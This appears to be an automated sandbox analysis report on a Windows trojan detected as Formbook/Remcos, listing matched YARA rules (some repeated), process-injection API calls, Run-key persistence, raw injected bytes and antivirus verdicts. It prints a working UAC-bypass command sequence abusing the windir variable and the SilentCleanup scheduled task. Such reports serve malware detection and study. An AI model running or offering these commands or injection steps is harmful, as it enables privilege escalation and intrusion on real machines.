description	Communications use DNS	rule	Network_DNS
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over FTP	rule	Network_FTP
description	Escalate priviledges	rule	Escalate_priviledges
description	File Downloader	rule	Network_Downloader
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Create a windows service	rule	Create_Service
description	Communication using DGA	rule	Network_DGA
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Steal credential	rule	local_credential_Steal
description	Communications use DNS	rule	Network_DNS
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over FTP	rule	Network_FTP
description	Escalate priviledges	rule	Escalate_priviledges
description	File Downloader	rule	Network_Downloader
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	reg delete hkcu\Environment /v windir /f
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 268b43e050fa1c38daa8af94cdca1b9315920a96

Allocates execute permission to another process indicative of possible code injection (3 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2756 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000510	1
NtAllocateVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000b0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000510	1
NtAllocateVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000510	1

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Ajihoe

reg_value

C:\Users\Public\eohijA.url

Deletes executed files from disk (1 event)

file	C:\Users\Public\UKO.bat

Creates a thread using CreateRemoteThread in a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2404 created a remote thread in non-child process 2756
CreateRemoteThread Oct. 22, 2021, 11:30 a.m.	thread_identifier: 2092 process_identifier: 2756 function_address: 0x000c0000 flags: 0 stack_size: 0 parameter: 0x000b0000 process_handle: 0x00000510	1	1304	0

Manipulates memory of a non-child process indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2404 manipulating memory of non-child process 2756
NtAllocateVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2756 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000510	1	0	0
NtAllocateVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000b0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000510	1	0	0
NtAllocateVirtualMemory Oct. 22, 2021, 11:30 a.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000510	1	0	0

Potential code injection by writing to the memory of another process (3 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2404 injected into non-child 2756
WriteProcessMemory Oct. 22, 2021, 11:30 a.m.	buffer: HrpñIr base_address: 0x000b0000 process_identifier: 2756 process_handle: 0x00000510	1	1	0
WriteProcessMemory Oct. 22, 2021, 11:30 a.m.	buffer: UìÄøEUøPUü1ÀPjÿuøÿUüYY]Â@UìÄÔSVWúðEÔTLWèQúþÿ3ÀUhÅTWdÿ0d ÆEÿG<ÇEô»rÃj@h0Eô@PPEô@4ÃPè4ÿÿEð}ðt0hjEðPè+ÿÿj@h0Eô@PPEô@4ÃPVèÿÿEð}ðuûtvEÔPÏUðÆèEÔÀt7EèUàUìUøRUØRPEðPVèúÿÿjjMèºSWÆè_ýÿÿÀtÆEÿ3ÀZYYdhÌTWEÔTLWè$úþÿÃ base_address: 0x000c0000 process_identifier: 2756 process_handle: 0x00000510	1	1	0

Network activity contains more than one unique useragent (2 events)

process	.vbc.exe				useragent	lVali
process	.vbc.exe				useragent	aswe

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2096 resumed a thread in remote process 2352
Process injection	Process 2556 resumed a thread in remote process 420
NtResumeThread Oct. 22, 2021, 11:30 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2352	1	0	0
NtResumeThread Oct. 22, 2021, 11:30 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 420	1	0	0

File has been identified by 24 AntiVirus engines on VirusTotal as malicious (24 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	Gen:Variant.Zusy.404380
FireEye	Generic.mg.61f55bceba5b9a52
Cybereason	malicious.a441e1
Cyren	W32/Delf_Troj.CQ.gen!Eldorado
ESET-NOD32	a variant of Win32/Kryptik.HNAH
APEX	Malicious
Kaspersky	HEUR:Trojan-Downloader.Win32.Formbook.gen
BitDefender	Gen:Variant.Zusy.404380
Avast	Win32:MalwareX-gen [Trj]
Ad-Aware	Gen:Variant.Zusy.404380
Sophos	Generic ML PUA (PUA)
Ikarus	Trojan.Inject
Microsoft	Trojan:Win32/Remcos.PDC!MTB
GData	Gen:Variant.Zusy.404380
Cynet	Malicious (score: 100)
McAfee	GenericRXAA-AA!61F55BCEBA5B
MAX	malware (ai score=80)
SentinelOne	Static AI - Malicious PE
eGambit	Unsafe.AI_Score_99%
Fortinet	W32/Injector.EQAC!tr
BitDefenderTheta	Gen:NN.ZelphiCO.34236.8KW@aCXAGQmi
AVG	Win32:MalwareX-gen [Trj]
MaxSecure	Trojan.Malware.300983.susgen

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

192.168.56.103:49199

.vbc.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All